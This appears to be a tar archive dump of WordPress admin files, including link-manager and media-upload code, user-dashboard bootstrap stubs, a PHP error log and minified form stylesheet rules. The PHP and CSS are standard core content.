'manage_links' ) ) { wp_link_manager_disabled_message(); } if ( ! empty( $_POST['deletebookmarks'] ) ) { $action = 'deletebookmarks'; } if ( ! empty( $_POST['move'] ) ) { $action = 'move'; } if ( ! empty( $_POST['linkcheck'] ) ) { $linkcheck = $_POST['linkcheck']; } $this_file = admin_url( 'link-manager.php' ); switch ( $action ) { case 'deletebookmarks': check_admin_referer( 'bulk-bookmarks' ); // For each link id (in $linkcheck[]) change category to selected value. if ( count( $linkcheck ) === 0 ) { wp_redirect( $this_file ); exit; } $deleted = 0; foreach ( $linkcheck as $link_id ) { $link_id = (int) $link_id; if ( wp_delete_link( $link_id ) ) { ++$deleted; } } wp_redirect( "$this_file?deleted=$deleted" ); exit; case 'move': check_admin_referer( 'bulk-bookmarks' ); // For each link id (in $linkcheck[]) change category to selected value. if ( count( $linkcheck ) === 0 ) { wp_redirect( $this_file ); exit; } $all_links = implode( ',', $linkcheck ); /* * Should now have an array of links we can change: * $q = $wpdb->query("update $wpdb->links SET link_category='$category' WHERE link_id IN ($all_links)"); */ wp_redirect( $this_file ); exit; case 'add': check_admin_referer( 'add-bookmark' ); $redir = wp_get_referer(); if ( add_link() ) { $redir = add_query_arg( 'added', 'true', $redir ); } wp_redirect( $redir ); exit; case 'save': $link_id = (int) $_POST['link_id']; check_admin_referer( 'update-bookmark_' . $link_id ); edit_link( $link_id ); wp_redirect( $this_file ); exit; case 'delete': $link_id = (int) $_GET['link_id']; check_admin_referer( 'delete-bookmark_' . $link_id ); wp_delete_link( $link_id ); wp_redirect( $this_file ); exit; case 'edit': wp_enqueue_script( 'link' ); wp_enqueue_script( 'xfn' ); if ( wp_is_mobile() ) { wp_enqueue_script( 'jquery-touch-punch' ); } $parent_file = 'link-manager.php'; $submenu_file = 'link-manager.php'; // Used in the HTML title tag. $title = __( 'Edit Link' ); $link_id = (int) $_GET['link_id']; $link = get_link_to_edit( $link_id ); if ( ! $link ) { wp_die( __( 'Link not found.' ) ); } require ABSPATH . 'wp-admin/edit-link-form.php'; require_once ABSPATH . 'wp-admin/admin-footer.php'; break; default: break; } user/error_log 0000644 00000001276 15233246127 0007452 0 ustar 00 [31-Jul-2026 17:38:44 UTC] PHP Warning: require_once(/home/dxgrqzvp/public_html/wp-load.php): Failed to open stream: No such file or directory in /home/dxgrqzvp/public_html/wp-admin/admin.php on line 35 [31-Jul-2026 17:38:44 UTC] PHP Fatal error: Uncaught Error: Failed opening required '/home/dxgrqzvp/public_html/wp-load.php' (include_path='.:/opt/cpanel/ea-php83/root/usr/share/pear') in /home/dxgrqzvp/public_html/wp-admin/admin.php:35 Stack trace: #0 /home/dxgrqzvp/public_html/wp-admin/user/admin.php(12): require_once() #1 /home/dxgrqzvp/public_html/wp-admin/user/index.php(11): require_once('/home/dxgrqzvp/...') #2 {main} thrown in /home/dxgrqzvp/public_html/wp-admin/admin.php on line 35 user/menu.php 0000644 00000001477 15233246127 0007215 0 ustar 00 <?php /** * Build User Administration Menu. * * @package WordPress * @subpackage Administration * @since 3.1.0 */ // Don't load directly. if ( ! defined( 'ABSPATH' ) ) { die( '-1' ); } $menu[2] = array( __( 'Dashboard' ), 'exist', 'index.php', '', 'menu-top menu-top-first menu-icon-dashboard', 'menu-dashboard', 'dashicons-dashboard' ); $menu[4] = array( '', 'exist', 'separator1', '', 'wp-menu-separator' ); $menu[70] = array( __( 'Profile' ), 'exist', 'profile.php', '', 'menu-top menu-icon-users', 'menu-users', 'dashicons-admin-users' ); $menu[99] = array( '', 'exist', 'separator-last', '', 'wp-menu-separator' ); $_wp_real_parent_file['users.php'] = 'profile.php'; $compat = array(); $submenu = array(); require_once ABSPATH . 'wp-admin/includes/menu.php'; user/profile.php 0000644 00000000374 15233246127 0007704 0 ustar 00 <?php /** * User Profile Administration Screen. * * @package WordPress * @subpackage Administration * @since 3.1.0 */ /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; require ABSPATH . 'wp-admin/profile.php'; user/css/tmp/data/data/wlgk/admin.php 0000644 00000000000 15233246127 0013474 0 ustar 00 user/css/tmp/tmp/includes/kxz/index.php 0000644 00000000000 15233246127 0014147 0 ustar 00 user/css/tmp/backup/tmp/v3/media/jhtne/index.php 0000644 00000000000 15233246127 0015511 0 ustar 00 user/admin.php 0000644 00000001541 15233246127 0007331 0 ustar 00 <?php /** * WordPress User Administration Bootstrap * * @package WordPress * @subpackage Administration * @since 3.1.0 */ define( 'WP_USER_ADMIN', true ); require_once dirname( __DIR__ ) . '/admin.php'; if ( ! is_multisite() ) { wp_redirect( admin_url() ); exit; } $redirect_user_admin_request = ( 0 !== strcasecmp( $current_blog->domain, $current_site->domain ) || 0 !== strcasecmp( $current_blog->path, $current_site->path ) ); /** * Filters whether to redirect the request to the User Admin in Multisite. * * @since 3.2.0 * * @param bool $redirect_user_admin_request Whether the request should be redirected. */ $redirect_user_admin_request = apply_filters( 'redirect_user_admin_request', $redirect_user_admin_request ); if ( $redirect_user_admin_request ) { wp_redirect( user_admin_url() ); exit; } unset( $redirect_user_admin_request ); user/index.php 0000644 00000000373 15233246127 0007352 0 ustar 00 <?php /** * User Dashboard Administration Screen * * @package WordPress * @subpackage Administration * @since 3.1.0 */ /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; require ABSPATH . 'wp-admin/index.php'; user/credits.php 0000644 00000000405 15233246127 0007674 0 ustar 00 <?php /** * User Dashboard Credits administration panel. * * @package WordPress * @subpackage Administration * @since 3.4.0 */ /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; require ABSPATH . 'wp-admin/credits.php'; user/freedoms.php 0000644 00000000407 15233246127 0010045 0 ustar 00 <?php /** * User Dashboard Freedoms administration panel. * * @package WordPress * @subpackage Administration * @since 3.4.0 */ /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; require ABSPATH . 'wp-admin/freedoms.php'; user/contribute.php 0000644 00000000413 15233246127 0010414 0 ustar 00 <?php /** * User Dashboard Contribute administration panel. * * @package WordPress * @subpackage Administration * @since 6.6.0 */ /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; require ABSPATH . 'wp-admin/contribute.php'; user/about.php 0000644 00000000401 15233246127 0007345 0 ustar 00 <?php /** * User Dashboard About administration panel. * * @package WordPress * @subpackage Administration * @since 3.4.0 */ /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; require ABSPATH . 'wp-admin/about.php'; user/user-edit.php 0000644 00000000372 15233246127 0010143 0 ustar 00 <?php /** * Edit user administration panel. * * @package WordPress * @subpackage Administration * @since 3.1.0 */ /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; require ABSPATH . 'wp-admin/user-edit.php'; user/privacy.php 0000644 00000000405 15233246127 0007714 0 ustar 00 <?php /** * User Dashboard Privacy administration panel. * * @package WordPress * @subpackage Administration * @since 4.9.0 */ /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; require ABSPATH . 'wp-admin/privacy.php'; ms-sites.php 0000644 00000000327 15233246127 0007030 0 ustar 00 <?php /** * Multisite sites administration panel. * * @package WordPress * @subpackage Multisite * @since 3.0.0 */ require_once __DIR__ . '/admin.php'; wp_redirect( network_admin_url( 'sites.php' ) ); exit; moderation.php 0000644 00000000463 15233246127 0007426 0 ustar 00 <?php /** * Comment Moderation Administration Screen. * * Redirects to edit-comments.php?comment_status=moderated. * * @package WordPress * @subpackage Administration */ require_once dirname( __DIR__ ) . '/wp-load.php'; wp_redirect( admin_url( 'edit-comments.php?comment_status=moderated' ) ); exit; profile.php 0000644 00000000433 15233246127 0006722 0 ustar 00 <?php /** * User Profile Administration Screen. * * @package WordPress * @subpackage Administration */ /** * This is a profile page. * * @since 2.5.0 * @var bool */ define( 'IS_PROFILE_PAGE', true ); /** Load User Editing Page */ require_once __DIR__ . '/user-edit.php'; media-upload.php 0000644 00000007124 15233246127 0007627 0 ustar 00 <?php /** * Manage media uploaded file. * * There are many filters in here for media. Plugins can extend functionality * by hooking into the filters. * * @package WordPress * @subpackage Administration */ if ( ! isset( $_GET['inline'] ) ) { define( 'IFRAME_REQUEST', true ); } /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; if ( ! current_user_can( 'upload_files' ) ) { wp_die( __( 'Sorry, you are not allowed to upload files.' ), 403 ); } wp_enqueue_script( 'plupload-handlers' ); wp_enqueue_script( 'image-edit' ); wp_enqueue_script( 'set-post-thumbnail' ); wp_enqueue_style( 'imgareaselect' ); wp_enqueue_script( 'media-gallery' ); header( 'Content-Type: ' . get_option( 'html_type' ) . '; charset=' . get_option( 'blog_charset' ) ); // IDs should be integers. $ID = isset( $ID ) ? (int) $ID : 0; // phpcs:ignore WordPress.NamingConventions.ValidVariableName $post_id = isset( $post_id ) ? (int) $post_id : 0; // Require an ID for the edit screen. if ( isset( $action ) && 'edit' === $action && ! $ID ) { // phpcs:ignore WordPress.NamingConventions.ValidVariableName wp_die( '<h1>' . __( 'An error occurred during the upload process.' ) . '</h1>' . '<p>' . __( 'Invalid item ID. You can view all media items in the <a href="upload.php">Media Library</a>.' ) . '</p>', 403 ); } if ( ! empty( $_REQUEST['post_id'] ) && ! current_user_can( 'edit_post', $_REQUEST['post_id'] ) ) { wp_die( '<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' . '<p>' . __( 'Sorry, you are not allowed to edit this item.' ) . '</p>', 403 ); } // Upload type: image, video, file, ...? if ( isset( $_GET['type'] ) ) { $type = (string) $_GET['type']; } else { /** * Filters the default media upload type in the legacy (pre-3.5.0) media popup. * * @since 2.5.0 * * @param string $type The default media upload type. Possible values include * 'image', 'audio', 'video', 'file', etc. Default 'file'. */ $type = apply_filters( 'media_upload_default_type', 'file' ); } // Tab: gallery, library, or type-specific. if ( isset( $_GET['tab'] ) ) { $tab = (string) $_GET['tab']; } else { /** * Filters the default tab in the legacy (pre-3.5.0) media popup. * * @since 2.5.0 * * @param string $tab The default media popup tab. Default 'type' (From Computer). */ $tab = apply_filters( 'media_upload_default_tab', 'type' ); } $body_id = 'media-upload'; // Let the action code decide how to handle the request. if ( 'type' === $tab || 'type_url' === $tab || ! array_key_exists( $tab, media_upload_tabs() ) ) { /** * Fires inside specific upload-type views in the legacy (pre-3.5.0) * media popup based on the current tab. * * The dynamic portion of the hook name, `$type`, refers to the specific * media upload type. * * The hook only fires if the current `$tab` is 'type' (From Computer), * 'type_url' (From URL), or, if the tab does not exist (i.e., has not * been registered via the {@see 'media_upload_tabs'} filter. * * Possible hook names include: * * - `media_upload_audio` * - `media_upload_file` * - `media_upload_image` * - `media_upload_video` * * @since 2.5.0 */ do_action( "media_upload_{$type}" ); } else { /** * Fires inside limited and specific upload-tab views in the legacy * (pre-3.5.0) media popup. * * The dynamic portion of the hook name, `$tab`, refers to the specific * media upload tab. Possible values include 'library' (Media Library), * or any custom tab registered via the {@see 'media_upload_tabs'} filter. * * @since 2.5.0 */ do_action( "media_upload_{$tab}" ); } css/forms-rtl.min.css 0000644 00000074304 15233246127 0010572 0 ustar 00 /*! This file is auto-generated */ button,input,select,textarea{box-sizing:border-box;font-family:inherit;font-size:inherit;font-weight:inherit}input,textarea{font-size:14px}textarea{overflow:auto;padding:8px 12px;line-height:1.42857143;resize:vertical}input,select{margin:0 1px}textarea.code{padding:8px 12px}input[type=color],input[type=date],input[type=datetime-local],input[type=datetime],input[type=email],input[type=month],input[type=number],input[type=password],input[type=search],input[type=tel],input[type=text],input[type=time],input[type=url],input[type=week],select,textarea{box-shadow:0 0 0 transparent;border-radius:2px;border:1px solid #949494;background-color:#fff;color:#1e1e1e}input[type=date],input[type=datetime-local],input[type=datetime],input[type=email],input[type=month],input[type=number],input[type=password],input[type=search],input[type=tel],input[type=text],input[type=time],input[type=url],input[type=week]{padding:0 12px;min-height:40px}select{padding:0 12px 0 24px;line-height:2.71428571;min-height:40px}::-webkit-datetime-edit{line-height:1.85714286}input[type=color]:focus,input[type=date]:focus,input[type=datetime-local]:focus,input[type=datetime]:focus,input[type=email]:focus,input[type=month]:focus,input[type=number]:focus,input[type=password]:focus,input[type=search]:focus,input[type=tel]:focus,input[type=text]:focus,input[type=time]:focus,input[type=url]:focus,input[type=week]:focus,select:focus,textarea:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color);outline:2px solid transparent}input[type=checkbox]:focus,input[type=radio]:focus{border-color:#1e1e1e;box-shadow:0 0 0 2px #fff,0 0 0 4px var(--wp-admin-theme-color);outline:2px solid transparent}.ltr,input[type=email],input[type=password],input[type=url]{direction:ltr}input[type=checkbox],input[type=radio]{border:1px solid #1e1e1e;border-radius:2px;background:#fff;color:#1e1e1e;clear:none;cursor:pointer;display:inline-block;line-height:0;height:1rem;margin:-.25rem 0 0 .25rem;outline:0;padding:0!important;text-align:center;vertical-align:middle;width:1rem;min-width:1rem;-webkit-appearance:none;box-shadow:none;transition:.05s border-color ease-in-out}input[type=radio]:checked+label:before{color:#949494}.wp-core-ui input[type=reset]:active,.wp-core-ui input[type=reset]:hover{color:#135e96}.wp-admin p input[type=checkbox],.wp-admin p input[type=radio],td>input[type=checkbox]{margin-top:0}.wp-admin p label input[type=checkbox]{margin-top:-4px}.wp-admin p label input[type=radio]{margin-top:-2px}input[type=radio]{display:inline-flex;border-radius:50%;margin-left:.25rem;align-items:center;justify-content:center}input[type=checkbox]:checked::before,input[type=radio]:checked::before{float:right;display:inline-block;vertical-align:middle;width:1rem;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}input[type=checkbox]:checked::before{content:url("data:image/svg+xml;utf8,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20viewBox%3D%270%200%2020%2020%27%3E%3Cpath%20d%3D%27M14.83%204.89l1.34.94-5.81%208.38H9.02L5.78%209.67l1.34-1.25%202.57%202.4z%27%20fill%3D%27%23ffffff%27%2F%3E%3C%2Fsvg%3E");content:url("data:image/svg+xml;utf8,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20viewBox%3D%270%200%2020%2020%27%3E%3Cpath%20d%3D%27M14.83%204.89l1.34.94-5.81%208.38H9.02L5.78%209.67l1.34-1.25%202.57%202.4z%27%20fill%3D%27%23ffffff%27%2F%3E%3C%2Fsvg%3E")/'';margin:-.1875rem -.25rem 0 0;height:1.3125rem;width:1.3125rem}input[type=checkbox]:checked{background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color)}input[type=radio]:checked{background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color)}input[type=radio]:checked::before{content:"";border-radius:50%;width:.5rem;height:.5rem;margin:auto;background-color:#fff;outline:4px solid transparent}@-moz-document url-prefix(){.form-table input.tog,input[type=checkbox],input[type=radio]{margin-bottom:-1px}}input[type=search]{-webkit-appearance:textfield}input[type=search]::-webkit-search-decoration{display:none}input[type=search]::-webkit-search-cancel-button{cursor:pointer}.wp-admin input[type=file]{padding:3px 0;cursor:pointer}input.readonly,input[readonly],textarea.readonly,textarea[readonly]{background-color:#f0f0f0}::-webkit-input-placeholder{color:#757575}::-moz-placeholder{color:#757575}.form-invalid .form-required,.form-invalid .form-required:focus,.form-invalid.form-required input,.form-invalid.form-required input:focus,.form-invalid.form-required select,.form-invalid.form-required select:focus{border-color:#d63638!important;box-shadow:0 0 2px rgba(214,54,56,.8)}.form-table .form-required.form-invalid td:after{content:"\f534";content:"\f534"/'';font:normal 20px/1 dashicons;color:#d63638;margin-right:-25px;vertical-align:middle}.form-table .form-required.user-pass1-wrap.form-invalid td:after{content:""}.form-table .form-required.user-pass1-wrap.form-invalid .password-input-wrapper:after{content:"\f534";content:"\f534"/'';font:normal 20px/1 dashicons;color:#d63638;margin:0 -29px 0 6px;vertical-align:middle}.form-input-tip{color:#646970}input.disabled,input:disabled,select.disabled,select:disabled,textarea.disabled,textarea:disabled{background:#f0f0f0;border-color:#ccc;box-shadow:none;color:#949494}input[type=file].disabled,input[type=file]:disabled,input[type=file][aria-disabled=true],input[type=range].disabled,input[type=range]:disabled,input[type=range][aria-disabled=true]{background:0 0;box-shadow:none;cursor:default}input[type=checkbox].disabled,input[type=checkbox].disabled:checked:before,input[type=checkbox]:disabled,input[type=checkbox]:disabled:checked:before,input[type=checkbox][aria-disabled=true],input[type=radio].disabled,input[type=radio].disabled:checked:before,input[type=radio]:disabled,input[type=radio]:disabled:checked:before,input[type=radio][aria-disabled=true]{opacity:.7;cursor:default}.wp-core-ui select{font-size:14px;line-height:2.71428571;color:#1e1e1e;border-color:#949494;box-shadow:none;border-radius:2px;padding:0 12px 0 24px;min-height:40px;max-width:25rem;-webkit-appearance:none;background:#fff url('data:image/svg+xml;charset=US-ASCII,%3Csvg%20width%3D%2220%22%20height%3D%2220%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M5%206l5%205%205-5%202%201-7%207-7-7%202-1z%22%20fill%3D%22%231e1e1e%22%2F%3E%3C%2Fsvg%3E') no-repeat left 8px top 55%;background-size:16px 16px;cursor:pointer;vertical-align:middle}.wp-core-ui select:hover{color:#1e1e1e;border-color:#1e1e1e}.wp-core-ui select:focus{border-color:var(--wp-admin-theme-color);color:#1e1e1e;box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color)}.wp-core-ui select:active{border-color:#949494;box-shadow:none}.wp-core-ui select.disabled,.wp-core-ui select:disabled{color:#a7aaad;border-color:#dcdcde;background-color:#f6f7f7;background-image:url('data:image/svg+xml;charset=US-ASCII,%3Csvg%20width%3D%2220%22%20height%3D%2220%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M5%206l5%205%205-5%202%201-7%207-7-7%202-1z%22%20fill%3D%22%23a0a5aa%22%2F%3E%3C%2Fsvg%3E');box-shadow:none;text-shadow:0 1px 0 #fff;cursor:default;transform:none}.wp-core-ui select[aria-disabled=true]{cursor:default}.wp-core-ui select:-moz-focusring{color:transparent;text-shadow:0 0 0 #0a4b78}.wp-core-ui select::-ms-value{background:0 0;color:#50575e}.wp-core-ui select:hover::-ms-value{color:#1e1e1e}.wp-core-ui select:focus::-ms-value{color:#0a4b78}.wp-core-ui select.disabled::-ms-value,.wp-core-ui select:disabled::-ms-value{color:#a7aaad}.wp-core-ui select::-ms-expand{display:none}.wp-admin .button-cancel{display:inline-block;min-height:28px;padding:0 5px;line-height:2}.meta-box-sortables select{max-width:100%}.meta-box-sortables input{vertical-align:middle}.misc-pub-post-status select{margin-top:0}.wp-core-ui select[multiple]{height:auto;padding-left:8px;background:#fff}.submit{padding:1.5em 0;margin:5px 0;border-bottom-right-radius:3px;border-bottom-left-radius:3px;border:none}form p.submit a.cancel:hover{text-decoration:none}p.submit{text-align:right;max-width:100%;margin-top:20px;padding-top:10px}.textright p.submit{border:none;text-align:left}table.form-table+input+input+p.submit,table.form-table+input+p.submit,table.form-table+p.submit{border-top:none;padding-top:0}#major-publishing-actions input,#minor-publishing-actions .preview,#minor-publishing-actions input{text-align:center}input.all-options,textarea.all-options{width:250px}input.large-text,textarea.large-text{width:99%}.regular-text{width:25em}input.small-text{width:50px;padding:0 8px}label input.small-text{margin-top:-4px}input[type=number].small-text{width:65px;padding-left:4px}input.tiny-text{width:35px}input[type=number].tiny-text{width:45px;padding-left:0}#doaction,#doaction2,#post-query-submit{margin:0 0 0 8px}.no-js input#changeit2,.no-js input#doaction2,.no-js label[for=bulk-action-selector-bottom],.no-js label[for=new_role2],.no-js select#bulk-action-selector-bottom,.no-js select#new_role2{display:none}.wp-core-ui .tablenav input[type=date],.wp-core-ui .tablenav input[type=datetime-local],.wp-core-ui .tablenav input[type=datetime],.wp-core-ui .tablenav input[type=email],.wp-core-ui .tablenav input[type=month],.wp-core-ui .tablenav input[type=number],.wp-core-ui .tablenav input[type=password],.wp-core-ui .tablenav input[type=search],.wp-core-ui .tablenav input[type=tel],.wp-core-ui .tablenav input[type=text],.wp-core-ui .tablenav input[type=time],.wp-core-ui .tablenav input[type=url],.wp-core-ui .tablenav input[type=week],.wp-core-ui .tablenav select{padding:0 12px;line-height:2.14285714;min-height:32px}.wp-core-ui .tablenav select{float:right;margin-left:6px;max-width:12.5rem;padding:0 8px 0 24px}.wp-core-ui .tablenav .button{min-height:32px;line-height:2.30769231;padding:0 12px}#timezone_string option{margin-right:1em}.wp-core-ui .button.wp-cancel-pw>.dashicons,.wp-core-ui .button.wp-hide-pw>.dashicons{width:1.25rem;height:1.25rem;font-size:20px;line-height:1;vertical-align:middle}.button.wp-hide-pw.user-new-password-toggle{display:inline-flex;align-items:center;column-gap:4px}.wp-cancel-pw .dashicons-no{display:none}#your-profile label+a,label{vertical-align:middle}#your-profile label+a,fieldset label{vertical-align:middle}.options-media-php [for*="_size_"]{min-width:10em;vertical-align:baseline}.options-media-php .small-text[name*="_size_"]{margin:0 0 1em}.wp-generate-pw{margin-top:1em;position:relative}.wp-pwd button{height:min-content}.wp-pwd{margin-top:1em;position:relative}.mailserver-pass-wrap .wp-pwd{display:inline-block;margin-top:0}#mailserver_pass{padding-right:2.5rem}.mailserver-pass-wrap .button.wp-hide-pw{background:0 0;border:1px solid transparent;box-shadow:none;font-size:14px;line-height:2;width:2.5rem;min-width:40px;margin:0;padding:0 9px;position:absolute;right:0;top:0}.mailserver-pass-wrap .button.wp-hide-pw:hover{background:0 0;border-color:transparent}.mailserver-pass-wrap .button.wp-hide-pw:focus{background:0 0;border-color:var(--wp-admin-theme-color);border-radius:2px;box-shadow:0 0 0 .5px var(--wp-admin-theme-color);outline:2px solid transparent}.mailserver-pass-wrap .button.wp-hide-pw:active{background:0 0;box-shadow:none;transform:none}#misc-publishing-actions label{vertical-align:baseline}#pass-strength-result{background-color:#f0f0f0;border:1px solid #ccc;border-radius:2px;color:#1e1e1e;margin:-1px 1px 5px;padding:3px 5px;text-align:center;width:25em;box-sizing:border-box;opacity:0}#pass-strength-result.short{background-color:#ffabaf;border-color:#e65054;opacity:1}#pass-strength-result.bad{background-color:#facfd2;border-color:#f86368;opacity:1}#pass-strength-result.good{background-color:#f5e6ab;border-color:#f0c33c;opacity:1}#pass-strength-result.strong{background-color:#b8e6bf;border-color:#68de7c;opacity:1}.password-input-wrapper{display:inline-block}.password-input-wrapper input{font-family:Consolas,Monaco,monospace}#pass1-text.short,#pass1.short{border-color:#e65054}#pass1-text.bad,#pass1.bad{border-color:#f86368}#pass1-text.good,#pass1.good{border-color:#f0c33c}#pass1-text.strong,#pass1.strong{border-color:#68de7c}#pass1-text:focus,#pass1:focus{box-shadow:0 0 0 .5px var(--wp-admin-theme-color);outline:2px solid transparent}.pw-weak{display:none}.indicator-hint{padding-top:8px}.wp-pwd [type=password],.wp-pwd [type=text]{margin-bottom:0;min-height:40px}.wp-pwd input::-ms-reveal{display:none}#pass1-text,.show-password #pass1{display:none}#pass1-text::-ms-clear{display:none}.show-password #pass1-text{display:inline-block}.wp-pwd .caps-warning{display:none;position:relative;background:#fcf9e8;border:1px solid #f0c33c;color:#1d2327;padding:6px 10px;top:-8px}.profile-php .wp-pwd .caps-warning{padding:3px 5px;top:-4px;border-radius:2px}.wp-pwd .caps-icon{display:inline-flex;justify-content:center;width:20px;height:20px;margin-left:5px;vertical-align:middle}.wp-pwd .caps-warning-text{vertical-align:middle}p.search-box{display:flex;flex-wrap:wrap;align-items:center;column-gap:.5rem;position:relative;float:left;margin:11px 0}p.search-box input[type=search],p.search-box input[type=text]{min-height:32px;padding:0 8px}p.search-box .button{min-height:32px;line-height:2.30769231;padding:0 12px}.network-admin.themes-php p.search-box{clear:right}.tablenav .search-plugins input[name="s"]{float:right;margin:0 0 0 4px}.tagsdiv .newtag{margin:0}.js.plugins-php .search-box .wp-filter-search{margin:0;width:280px}input[type=email].ui-autocomplete-loading,input[type=text].ui-autocomplete-loading{background-image:url(../images/loading.gif);background-repeat:no-repeat;background-position:left 5px center;visibility:visible}input.ui-autocomplete-input.open{border-bottom-color:transparent}ul#add-to-blog-users{margin:0 14px 0 0}.ui-autocomplete{padding:0;margin:0;list-style:none;position:absolute;z-index:10000;border:1px solid #4f94d4;box-shadow:0 1px 2px rgba(79,148,212,.8);background-color:#fff}.ui-autocomplete li{margin-bottom:0;padding:4px 10px;white-space:nowrap;text-align:right;cursor:pointer}.ui-autocomplete .ui-state-focus{background-color:#dcdcde}.wp-tags-autocomplete .ui-state-focus,.wp-tags-autocomplete [aria-selected=true]{background-color:var(--wp-admin-theme-color);color:#fff;outline:2px solid transparent}.form-table{border-collapse:collapse;margin-top:.5em;width:100%;clear:both}.form-table,.form-table td,.form-table td p,.form-table th{font-size:14px}.form-table td{margin-bottom:9px;padding:15px 10px;line-height:1.3;vertical-align:middle}.form-table th,.form-wrap label{color:#1d2327;font-weight:400;text-shadow:none;vertical-align:baseline}.form-table th{vertical-align:top;text-align:right;padding:20px 0 20px 10px;width:200px;line-height:1.3;font-weight:600}.form-table .td-full,.form-table th.th-full{width:auto;padding:20px 0 20px 10px;font-weight:400}.form-table td p{margin-top:4px;margin-bottom:0}.form-table .date-time-doc{margin-top:1em}.form-table p.timezone-info{margin:1em 0;display:flex;flex-direction:column}#local-time{margin-top:.5em}.form-table td fieldset label{margin:.35em 0 .5em!important;display:inline-block}.form-table td fieldset p label{margin-top:0!important}.form-table td fieldset label,.form-table td fieldset li,.form-table td fieldset p{line-height:1.4}.form-table .pre{padding:8px;margin:0}table.form-table td .updated{font-size:13px}table.form-table td .updated p{font-size:13px;margin:.3em 0}#profile-page .form-table textarea{width:500px;margin-bottom:6px}#profile-page .form-table #rich_editing{margin-left:5px}#your-profile legend{font-size:22px}#display_name{width:15em}#adduser .form-field input,#createuser .form-field input{width:25em}.color-option{display:inline-block;width:24%;padding:5px 15px 15px;box-sizing:border-box;margin-bottom:3px}.color-option.selected,.color-option:hover{background:#dcdcde}.color-palette{display:table;width:100%;border-spacing:0;border-collapse:collapse}.color-palette .color-palette-shade,.color-palette td{display:table-cell;height:20px;padding:0;border:none}.color-option{cursor:pointer}.create-application-password .form-field{max-width:25em}.create-application-password label{font-weight:600}.create-application-password p.submit{margin-bottom:0;padding-bottom:0;display:block}#application-passwords-section .notice{margin-top:20px;margin-bottom:0;word-wrap:break-word}.application-password-display input.code{margin-bottom:6px;width:100%;max-width:20em}.auth-app-card.card{max-width:768px}.authorize-application-php .form-wrap p{display:block}.tool-box .title{margin:8px 0;font-size:18px;font-weight:400;line-height:24px}.label-responsive{vertical-align:middle}#export-filters p{margin:0 0 1em}#export-filters p.submit{margin:7px 0 5px}.card{position:relative;margin-top:20px;padding:16px 24px;min-width:255px;max-width:520px;border:1px solid rgb(0,0,0,.1);border-radius:8px;background:#fff;box-sizing:border-box}.pressthis h4{margin:2em 0 1em}.pressthis textarea{width:100%;font-size:1em}#pressthis-code-wrap{overflow:auto}.pressthis-bookmarklet-wrapper{margin:20px 0 8px;vertical-align:top;position:relative;z-index:1}.pressthis-bookmarklet,.pressthis-bookmarklet:active,.pressthis-bookmarklet:focus,.pressthis-bookmarklet:hover{display:inline-block;position:relative;cursor:move;color:#2c3338;background:#dcdcde;border-radius:5px;border:1px solid #c3c4c7;font-style:normal;line-height:16px;font-size:14px;text-decoration:none}.pressthis-bookmarklet:active{outline:0}.pressthis-bookmarklet:after{content:"";width:70%;height:55%;z-index:-1;position:absolute;left:10px;bottom:9px;background:0 0;transform:skew(-20deg) rotate(-6deg);box-shadow:0 10px 8px rgba(0,0,0,.6)}.pressthis-bookmarklet:hover:after{transform:skew(-20deg) rotate(-9deg);box-shadow:0 10px 8px rgba(0,0,0,.7)}.pressthis-bookmarklet span{display:inline-block;margin:0;padding:0 9px 8px 12px}.pressthis-bookmarklet span:before{color:#787c82;font:normal 20px/1 dashicons;content:"\f157";content:"\f157"/'';position:relative;display:inline-block;top:4px;margin-left:4px}.pressthis-js-toggle{margin-right:10px;padding:0;height:auto;vertical-align:top}.pressthis-js-toggle.button.button{margin-right:10px;padding:0;height:auto;vertical-align:top}.pressthis-js-toggle .dashicons{margin:5px 7px 6px 8px;color:#50575e}.timezone-info code{white-space:nowrap}.defaultavatarpicker .avatar{margin:2px 0;vertical-align:middle}.options-general-php .date-time-text{display:inline-block;min-width:10em}.options-general-php input.small-text{width:56px;margin:-2px 0;min-height:32px}.options-general-php .spinner{float:none;margin:-3px 3px 0}.options-general-php .language-install-spinner,.profile-php .language-install-spinner,.settings-php .language-install-spinner,.user-edit-php .language-install-spinner{display:inline-block;float:none;margin:-3px 5px 0;vertical-align:middle}.form-table.permalink-structure .available-structure-tags{margin-top:8px}.form-table.permalink-structure .available-structure-tags ul{display:flex;flex-wrap:wrap;margin:8px 0 0}.form-table.permalink-structure .available-structure-tags li{margin:6px 0 0 5px}.form-table.permalink-structure .available-structure-tags li:last-child{margin-left:0}.form-table.permalink-structure .structure-selection .row{margin-bottom:16px}.form-table.permalink-structure .structure-selection .row>div{max-width:calc(100% - 24px);display:inline-flex;flex-direction:column}.form-table.permalink-structure .structure-selection .row label{font-weight:600}.form-table.permalink-structure .structure-selection .row p{margin-top:0}.permalink-structure-optional-description code{display:inline-block}.setup-php textarea{max-width:100%}.form-field #site-address{max-width:25em}.form-field #domain{max-width:22em}.form-field #admin-email,.form-field #blog_last_updated,.form-field #blog_registered,.form-field #path,.form-field #site-title{max-width:25em}.form-field #path{margin-bottom:5px}#search-sites,#search-users{max-width:60%}.configuration-rules-label{font-weight:600;margin-bottom:4px}.request-filesystem-credentials-dialog{display:none;visibility:visible}.request-filesystem-credentials-dialog 